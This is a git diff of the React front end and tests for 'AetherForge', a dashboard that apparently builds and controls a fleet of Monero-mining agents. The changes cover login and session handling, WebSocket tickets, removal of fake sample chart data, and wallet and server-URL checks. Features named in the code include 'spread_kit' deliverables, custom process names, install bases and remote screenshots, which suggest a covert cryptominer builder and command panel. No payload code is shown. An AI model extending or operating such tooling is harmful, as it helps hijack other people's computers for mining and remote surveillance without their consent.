setAuthed(hasAuth);
|
||||
|
||||
if (!hasAuth) {
|
||||
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
window.addEventListener('aetherforge-auth', sync);
|
||||
|
||||
return () => window.removeEventListener('aetherforge-auth', sync);
|
||||
|
||||
}, []);
|
||||
|
||||
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
const token = getStoredAuth();
|
||||
|
||||
if (!token) {
|
||||
|
||||
setAuthed(false);
|
||||
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
|
||||
setReady(true);
|
||||
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
fetch('/api/v1/config', { headers: authHeaders() })
|
||||
|
||||
.then((r) => {
|
||||
|
||||
if (r.status === 401) {
|
||||
|
||||
clearStoredAuth({ silent: true, expired: true });
|
||||
|
||||
setAuthed(false);
|
||||
|
||||
setSessionExpired(true);
|
||||
|
||||
} else if (!r.ok) {
|
||||
|
||||
// Server reachable but unhappy — keep saved credentials (degraded mode).
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(true);
|
||||
|
||||
} else {
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(false);
|
||||
|
||||
}
|
||||
|
||||
setReady(true);
|
||||
|
||||
})
|
||||
|
||||
.catch(() => {
|
||||
|
||||
// Network blip — trust stored credentials until the server responds.
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(true);
|
||||
|
||||
setReady(true);
|
||||
|
||||
});
|
||||
|
||||
}, []);
|
||||
|
||||
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
setErr('');
|
||||
|
||||
setSessionExpired(false);
|
||||
|
||||
const headers: Record<string, string> = {
|
||||
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
|
||||
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
|
||||
|
||||
};
|
||||
|
||||
try {
|
||||
|
||||
const res = await fetch('/api/v1/config', { headers });
|
||||
|
||||
if (!res.ok) {
|
||||
|
||||
setErr('Login failed — check username and password.');
|
||||
|
||||
@@ -73,12 +73,12 @@ interface ActivityPulseProps {
|
||||
items: { id: string; label: string; ok: boolean; time?: string }[];
|
||||
}
|
||||
|
||||
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
|
||||
export function ActivityPulse({ items }: ActivityPulseProps) {
|
||||
if (items.length === 0) {
|
||||
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
||||
}
|
||||
return (
|
||||
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
|
||||
<div className="activity-pulse">
|
||||
{items.slice(0, 12).map((item) => (
|
||||
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
||||
<span className="activity-blip-core" />
|
||||
|
||||
@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
|
||||
useForge: vi.fn(() => ({ forging: false, stage: '' })),
|
||||
}));
|
||||
|
||||
vi.mock('../api/download', () => ({
|
||||
downloadApiFile: vi.fn(),
|
||||
downloadAuthedFile: vi.fn(),
|
||||
}));
|
||||
vi.mock('../api/download', () => {
|
||||
const downloadAuthedFile = vi.fn();
|
||||
return {
|
||||
downloadAuthedFile,
|
||||
downloadApiFile: downloadAuthedFile,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('../api/auth', () => ({
|
||||
getStoredAuth: vi.fn(),
|
||||
setStoredAuth: vi.fn(),
|
||||
}));
|
||||
vi.mock('../api/auth', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../api/auth')>();
|
||||
return {
|
||||
...actual,
|
||||
getStoredAuth: vi.fn(),
|
||||
setStoredAuth: vi.fn(),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('qrcode', () => ({
|
||||
default: {
|
||||
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
|
||||
);
|
||||
const btn = screen.getByRole('button', { name: 'Save' });
|
||||
await userEvent.setup().click(btn);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
});
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||
});
|
||||
|
||||
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
|
||||
|
||||
it('renders children when stored auth validates', async () => {
|
||||
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
|
||||
render(
|
||||
<SessionGate>
|
||||
<div>protected</div>
|
||||
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
|
||||
);
|
||||
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
||||
});
|
||||
|
||||
it('keeps session on network blip during startup validation', async () => {
|
||||
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
||||
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
|
||||
render(
|
||||
<SessionGate>
|
||||
<div>protected</div>
|
||||
</SessionGate>
|
||||
);
|
||||
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
||||
expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GaugeRing', () => {
|
||||
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
|
||||
it('shows empty state when data is empty', () => {
|
||||
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
||||
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders chart with validated sample series', () => {
|
||||
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
|
||||
render(
|
||||
<HashrateChart
|
||||
data={sample}
|
||||
displayMode="sample"
|
||||
displayMode="live"
|
||||
title="Fleet Hash"
|
||||
color="#00f5ff"
|
||||
unit="H/s"
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/LIVE/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders chart with data points', () => {
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { act, render, renderHook } from '@testing-library/react';
|
||||
import { act, render, renderHook, waitFor } from '@testing-library/react';
|
||||
import { WebSocketProvider } from './WebSocketProvider';
|
||||
import { useWebSocketContext } from './WebSocketContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
|
||||
MockWebSocket.instances = [];
|
||||
setStoredAuth('testuser', 'testpass', { silent: true });
|
||||
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
|
||||
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
|
||||
Object.defineProperty(window, 'location', {
|
||||
value: { protocol: 'http:', host: 'localhost:8080' },
|
||||
configurable: true,
|
||||
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
|
||||
return MockWebSocket.instances.at(-1)!;
|
||||
}
|
||||
|
||||
async function waitForSocket() {
|
||||
await waitFor(() => {
|
||||
expect(MockWebSocket.instances.length).toBeGreaterThan(0);
|
||||
});
|
||||
return latestSocket();
|
||||
}
|
||||
|
||||
function wrapper({ children }: { children: React.ReactNode }) {
|
||||
return <WebSocketProvider>{children}</WebSocketProvider>;
|
||||
}
|
||||
|
||||
it('connects to ws dashboard with auth token query param', () => {
|
||||
it('connects to ws dashboard with auth token query param', async () => {
|
||||
setStoredAuth('drjones', 'secret');
|
||||
MockWebSocket.instances = [];
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
const ws = latestSocket();
|
||||
const ws = await waitForSocket();
|
||||
const token = btoa('drjones:secret');
|
||||
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
|
||||
|
||||
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
|
||||
expect(useWebSocket).toBe(useWebSocketContext);
|
||||
});
|
||||
|
||||
it('handles init and agent_online messages', () => {
|
||||
it('handles init and agent_online messages', async () => {
|
||||
const agent = mockAgent({ id: 'live-1' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
|
||||
expect(result.current.agents[0].hashrate_15s).toBe(999);
|
||||
});
|
||||
|
||||
it('marks agent offline and caps recent shares', () => {
|
||||
it('marks agent offline and caps recent shares', async () => {
|
||||
const agent = mockAgent({ id: 'a-offline' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
|
||||
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
|
||||
});
|
||||
|
||||
it('assigns monotonic _seq on command_result', () => {
|
||||
it('assigns monotonic _seq on command_result', async () => {
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
|
||||
expect(result.current.agentLogs.a1).toBe('log data');
|
||||
});
|
||||
|
||||
it('schedules reconnect after close', () => {
|
||||
vi.useFakeTimers();
|
||||
it('schedules reconnect after close', async () => {
|
||||
MockWebSocket.instances = [];
|
||||
renderHook(() => useWebSocketContext(), { wrapper });
|
||||
const first = latestSocket();
|
||||
const first = await waitForSocket();
|
||||
|
||||
act(() => first.close());
|
||||
expect(MockWebSocket.instances).toHaveLength(1);
|
||||
|
||||
act(() => vi.advanceTimersByTime(3000));
|
||||
expect(MockWebSocket.instances).toHaveLength(2);
|
||||
vi.useRealTimers();
|
||||
});
|
||||
await act(async () => {
|
||||
await new Promise((r) => setTimeout(r, 3100));
|
||||
});
|
||||
await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
|
||||
}, 10000);
|
||||
|
||||
it('closes socket on unmount', () => {
|
||||
it('closes socket on unmount', async () => {
|
||||
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
|
||||
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
|
||||
await waitForSocket();
|
||||
unmount();
|
||||
expect(closeSpy).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
@@ -9,7 +9,7 @@ import type {
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
import { authHeaders, getStoredAuth } from '../api/auth';
|
||||
|
||||
/**
|
||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.onclose = null;
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||
|
||||
ws.onclose = () => {
|
||||
const openSocket = async () => {
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
let wsQuery = `token=${encodeURIComponent(token)}`;
|
||||
try {
|
||||
const resp = await fetch('/api/v1/auth/ws-ticket', {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
});
|
||||
if (resp.ok) {
|
||||
const data = (await resp.json()) as { ticket?: string };
|
||||
if (data.ticket) {
|
||||
wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
/* fall back to legacy token query param */
|
||||
}
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
if (!getStoredAuth()) return;
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => { ws.close(); };
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
if (!getStoredAuth()) return;
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => { ws.close(); };
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
void openSocket();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
@@ -5,8 +5,6 @@ import {
|
||||
resolveChartSeries,
|
||||
chartSeriesDelta,
|
||||
chartSeriesPeak,
|
||||
SAMPLE_CONTRIBUTION_BARS,
|
||||
SAMPLE_FLEET_PREVIEW,
|
||||
} from './chartSampleData';
|
||||
|
||||
describe('chartSampleData', () => {
|
||||
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
|
||||
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('hashrate sample trends upward (mining ramp)', () => {
|
||||
const series = generateSampleSeries('hashrate', 48);
|
||||
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
|
||||
const delta = chartSeriesDelta(series);
|
||||
expect(delta).not.toBeNull();
|
||||
expect(delta!).toBeGreaterThan(0);
|
||||
it('resolveChartSeries returns empty when live is empty', () => {
|
||||
const { data, mode } = resolveChartSeries([]);
|
||||
expect(mode).toBe('empty');
|
||||
expect(data).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('accept sample stays in realistic pool band', () => {
|
||||
const series = generateSampleSeries('accept', 48);
|
||||
for (const p of series) {
|
||||
expect(p.value).toBeGreaterThanOrEqual(90);
|
||||
expect(p.value).toBeLessThanOrEqual(100);
|
||||
}
|
||||
});
|
||||
|
||||
it('resolveChartSeries uses sample when live is empty', () => {
|
||||
const { data, mode } = resolveChartSeries([], 'hashrate');
|
||||
expect(mode).toBe('sample');
|
||||
expect(data.length).toBe(48);
|
||||
expect(validateChartSeries(data).ok).toBe(true);
|
||||
});
|
||||
|
||||
it('resolveChartSeries prefers live when enough points', () => {
|
||||
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
|
||||
...p,
|
||||
value: 40 + i * 0.5,
|
||||
}));
|
||||
const { data, mode } = resolveChartSeries(live, 'cpu');
|
||||
it('resolveChartSeries returns live slice when data exists', () => {
|
||||
const live = generateSampleSeries('cpu', 20);
|
||||
const { data, mode } = resolveChartSeries(live);
|
||||
expect(mode).toBe('live');
|
||||
expect(data.length).toBe(20);
|
||||
});
|
||||
|
||||
it('preview constants are internally consistent', () => {
|
||||
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
|
||||
expect(totalPct).toBeGreaterThan(98);
|
||||
expect(totalPct).toBeLessThan(102);
|
||||
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
|
||||
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
|
||||
it('chartSeriesDelta computes trend', () => {
|
||||
const series = generateSampleSeries('hashrate', 48);
|
||||
const delta = chartSeriesDelta(series);
|
||||
expect(delta).not.toBeNull();
|
||||
expect(delta!).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,41 +1,8 @@
|
||||
import type { ChartPoint } from '../components/Charts/HashrateChart';
|
||||
import type { ContributionBar } from './fleetAnalytics';
|
||||
|
||||
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
|
||||
|
||||
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
|
||||
|
||||
const MIN_LIVE_POINTS = 12;
|
||||
|
||||
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
|
||||
export const SAMPLE_FLEET_PREVIEW = {
|
||||
hashrate: 128_400,
|
||||
acceptRate: 96.8,
|
||||
avgCpu: 52,
|
||||
avgMem: 61,
|
||||
onlinePct: 88,
|
||||
onlineCount: 7,
|
||||
agentCount: 8,
|
||||
xmrPerDay: 0.0384,
|
||||
xmrPrice: 168.42,
|
||||
} as const;
|
||||
|
||||
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
|
||||
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
|
||||
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
|
||||
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
|
||||
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
|
||||
];
|
||||
|
||||
export const SAMPLE_ACTIVITY = [
|
||||
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
|
||||
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
|
||||
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
|
||||
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
|
||||
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
|
||||
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
|
||||
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
|
||||
];
|
||||
export type ChartDisplayMode = 'live' | 'empty';
|
||||
|
||||
function formatTime(offsetMin: number): string {
|
||||
const d = new Date(Date.now() - offsetMin * 60_000);
|
||||
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
|
||||
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
|
||||
}
|
||||
|
||||
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
|
||||
/** Test-only synthetic series (not used in production UI). */
|
||||
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
|
||||
const out: ChartPoint[] = [];
|
||||
for (let i = points - 1; i >= 0; i--) {
|
||||
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
|
||||
return { ok: errors.length === 0, errors };
|
||||
}
|
||||
|
||||
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
|
||||
if (live.length < MIN_LIVE_POINTS) return false;
|
||||
const vals = live.map((p) => p.value);
|
||||
const max = Math.max(...vals);
|
||||
const min = Math.min(...vals);
|
||||
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
|
||||
return max - min > 0.05;
|
||||
}
|
||||
|
||||
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
|
||||
export function resolveChartSeries(
|
||||
live: ChartPoint[],
|
||||
kind: ChartSeriesKind,
|
||||
options?: { tailValue?: number; minPoints?: number }
|
||||
): { data: ChartPoint[]; mode: ChartDisplayMode } {
|
||||
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
|
||||
/** Live telemetry only — no sample or blended filler in the dashboard. */
|
||||
export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
|
||||
const validation = validateChartSeries(live);
|
||||
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
|
||||
|
||||
if (liveOk) {
|
||||
return { data: live.slice(-60), mode: 'live' };
|
||||
if (!validation.ok || live.length === 0) {
|
||||
return { data: [], mode: 'empty' };
|
||||
}
|
||||
|
||||
const sample = generateSampleSeries(kind, 48);
|
||||
if (live.length === 0) {
|
||||
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
|
||||
const last = sample[sample.length - 1];
|
||||
sample[sample.length - 1] = { ...last, value: options.tailValue };
|
||||
}
|
||||
return { data: sample, mode: 'sample' };
|
||||
}
|
||||
|
||||
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
|
||||
validateChartSeries(merged);
|
||||
return { data: merged, mode: 'blend' };
|
||||
return { data: live.slice(-60), mode: 'live' };
|
||||
}
|
||||
|
||||
export function chartSeriesDelta(data: ChartPoint[]): number | null {
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
import { runForgePreflight } from './forgeValidation';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
|
||||
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when worker name is empty', () => {
|
||||
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
|
||||
it('errors when worker name is empty (preflight)', () => {
|
||||
const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
|
||||
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
|
||||
});
|
||||
|
||||
it('errors when server URL uses localhost', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
it('errors when server URL uses localhost (preflight)', () => {
|
||||
const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
|
||||
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
|
||||
});
|
||||
|
||||
it('errors when server URL uses 127.0.0.1', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
it('errors when server URL uses 127.0.0.1 (preflight)', () => {
|
||||
const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
|
||||
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
|
||||
});
|
||||
|
||||
it('warns when wallet does not match Monero format', () => {
|
||||
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
|
||||
it('warns when wallet does not match Monero format (preflight)', () => {
|
||||
const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
|
||||
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
|
||||
});
|
||||
|
||||
it('accepts minimum-length wallet (90 chars)', () => {
|
||||
it('accepts minimum-length wallet (90 chars) in preflight', () => {
|
||||
const wallet = '4' + 'A'.repeat(89);
|
||||
expect(wallet.length).toBe(90);
|
||||
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
|
||||
const checks = runForgePreflight(baseForm({ wallet }), false);
|
||||
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
|
||||
});
|
||||
|
||||
it('accepts subaddress starting with 8', () => {
|
||||
it('accepts subaddress starting with 8 in preflight', () => {
|
||||
const subaddress = '8' + 'B'.repeat(94);
|
||||
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
|
||||
const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
|
||||
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
|
||||
});
|
||||
|
||||
it('emits forge_ready when core config is coherent', () => {
|
||||
|
||||
@@ -1,11 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import type { PreflightCheck } from './forgeValidation';
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
// Standard Monero addresses start with 4, subaddresses with 8
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
import { looksLikeXMRWallet } from './forgeValidation';
|
||||
|
||||
/** Extra incompatibility checks beyond basic validation. */
|
||||
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
const workerName = form.worker_name || '';
|
||||
const serverUrl = form.server_url || '';
|
||||
|
||||
if (!workerName.trim()) {
|
||||
checks.push({
|
||||
id: 'worker_name_empty',
|
||||
level: 'error',
|
||||
message: 'Worker Name is required. This identifies the machine in your fleet.',
|
||||
});
|
||||
}
|
||||
|
||||
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'server_url_localhost',
|
||||
level: 'error',
|
||||
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'forge_ready',
|
||||
|
||||
@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
return 'single';
|
||||
}
|
||||
|
||||
|
||||
@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
||||
if (!form.wallet.trim()) {
|
||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
|
||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
||||
} else {
|
||||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
||||
}
|
||||
|
||||
@@ -113,6 +113,14 @@ export default function AgentsPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
setSelectedIds((prev) => {
|
||||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||
return pruned.size === prev.size ? prev : pruned;
|
||||
});
|
||||
}, [agents]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||
const watch = screenshotWatchId.current;
|
||||
@@ -516,7 +524,13 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
|
||||
<span className="detail-value mono">
|
||||
{selectedAgent.wallet
|
||||
? selectedAgent.wallet.length > 24
|
||||
? `${selectedAgent.wallet.slice(0, 20)}…`
|
||||
: selectedAgent.wallet
|
||||
: '—'}
|
||||
</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">IP Address</span>
|
||||
@@ -597,9 +611,7 @@ export default function AgentsPage() {
|
||||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||
value: s.hashrate,
|
||||
}));
|
||||
const chart = resolveChartSeries(live, 'hashrate', {
|
||||
tailValue: selectedAgent.hashrate_15m,
|
||||
});
|
||||
const chart = resolveChartSeries(live);
|
||||
return (
|
||||
<HashrateChart
|
||||
title=""
|
||||
|
||||
@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
||||
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
